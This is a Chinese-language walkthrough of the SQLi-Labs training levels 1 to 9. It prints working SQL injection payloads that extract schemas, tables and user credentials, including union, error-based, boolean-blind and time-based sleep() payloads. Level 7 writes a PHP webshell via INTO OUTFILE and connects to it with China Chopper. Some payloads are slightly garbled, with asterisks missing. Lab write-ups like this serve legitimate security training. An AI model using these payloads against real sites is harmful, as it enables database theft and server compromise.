获取数据库名,表名,列名,数据
输入:http://www.sqllabs.com:7080/Less-1/?id=1'
注释符确认:通过输入#,--+,/**/,%23,http://www.sqllabs.com:7080/Less-1/?id=1' or 1=1 得知--+和%23都可以正常返回
判断单引号没有闭合导致的错误,修改为:http://www.sqllabs.com:7080/Less-1/?id=1' or 1=1 --+,正常显示
通过 order by获取列数:http://www.sqllabs.com:7080/Less-1/?id=1' order by 4 --+,当order by为4的时候,才报错,说明有3列
使用union判断是否有回显:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,3 --+,因为需要有回显,需要输入一个不存在的ID的值
获取所有的数据库:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
获取数据库security的表名:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
获取users的列名:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
获取数据:http://www.sqllabs.com:7080/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('-', username, password)) from security.users --+
验证注入类型
按照第一关,分别进行测试:
id=1':报错 id=1' or 1=1:报错 id=1' or 1=2:报错 只有在id=1 或者 id = 1 or 1=1 或者 id = 1 or 1=2不报错,说明是整型注入
http://www.sqllabs.com:7080/Less-2/?id=1 or 1=2 --+
http://www.sqllabs.com:7080/Less-2/?id=1' or 1=2 --+
获取错误提示,推断注入点
http://www.sqllabs.com:7080/Less-3/?id=1' or 1=1
根据错误提示,应该加:')
http://www.sqllabs.com:7080/Less-3/?id=1') or 1=1 --+ 可以正常返回
获取错误提示,推断注入点
输入id=1,id=1'都正常返回结果,改为id=1",返回错误信息:http://www.sqllabs.com:7080/Less-4/?id=1"
根据提示,需要再加入一个): http://www.sqllabs.com:7080/Less-4/?id=1") or 1=1 --+
1. 理解双查询注入 2. 使用双查询来完成注入
双查询注入:简单理解就是一个select语句嵌套一个select语句,需要用到的四个函数:
floor() : 向下取整 count() : 常用于计算行的数目 group by: 分组 rand() : 产生一个0-1的随机数
在输入:http://www.sqllabs.com:7080/Less-5/?id=1 ,发现没有回显,所以不能简单的使用union查询
输入:http://www.sqllabs.com:7080/Less-5/?id=1' , 存在单引号错误
获取数据库版本:http://www.sqllabs.com:7080/Less-5/?id=1' union select 1,count(),concat((select version()),floor(rand()2)) as a from information_schema.tables group by a --+
获取数据库名:
http://www.sqllabs.com:7080/Less-5/?id=1' union select 1,count(),concat((select database()),floor(rand()2)) as a from information_schema.tables group by a --+
还可以使用updatexml进行处理:http://www.sqllabs.com:7080/Less-5/?id=1' and updatexml(1,concat('|',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'|'),1) --+
1. 双查询完成注入 2. 获取数据库表名 3. 获取表字段 4. 获取表内容
输入:http://www.sqllabs.com:7080/Less-6/?id=1" 发生报错
和Less-5不同的就是,将单引号改为双引号
获取数据库表名:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),'|',floor(rand()2)) a from information_schema.columns group by a --+
获取users表字段:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'|',floor(rand()2)) a from information_schema.columns group by a --+
获取users表username数据:http://www.sqllabs.com:7080/Less-6/?id=1" union select 1,count(),concat((select username from users limit 1,1),'|',floor(rand()2)) a from security.users group by a --+
1. 使用outfile函数实现一句话木马
输入:http://www.sqllabs.com:7080/Less-7/?id=1', 尝试id=1')也一样报错,在输入 id=1')) --+ 正确显示
outfile格式:select '写入内容' into outfile '写入文件路径'
为了避免写入文件权限问题,可以直接写入临时目录:http://www.sqllabs.com:7080/Less-7/?id=1')) union select 1,2,'' into outfile '/tmp/less7.php' --+,虽然这个时候也会报错,但实际文件已经写进去了
通过中国菜刀链接:http://192.168.1.7:7080/tmp/less7.php
使用burp获取数据库信息
输入:http://www.sqllabs.com:7080/Less-8/?id=1' 发生报错
在使用的时候,注意需要对url进行编码,比如:/Less-8/?id=1%27%20and%20length(database())=8%20--+
获取数据库长度:通过抓包将url请求send到Intruder中,修改变量,示例:
Payloads配置为
点击start attack
当变量为8的时候,返回的length不一样,说明数据库的长度为:8
获取数据库名:
点击start attack 结果按照length进行排序,这样就可以查看到获取的数据库名:
1. 学会判断延时注入 2. 使用sleep来获取数据库信息
我们在使用单引号、双引号、id=1 and 1=2发现都能正常的返回,说明后台对这些数据都做了统一的输出,这个时候就可以尝试使用延时注入的方式
输入:http://www.sqllabs.com:7080/Less-9/?id=1 and 1=2,正常返回
输入:http://www.sqllabs.com:7080/Less-9/?id=1' and sleep(10) --+,发现结果在10s后才返回,说明存在延时注入
使用burp来判断数据的长度:/Less-9/?id=1%27%20and%20if(length(database())=§8§,sleep(10),1)%20--+
所以数据库的长度为8
获取数据库名:/Less-9/?id=1%27%20and%20if(substr(database(),§1§,1)=%27§a§%27,sleep(5),1)%20--+
结果:
只要将Less-9 的单引号改为双引号就可以了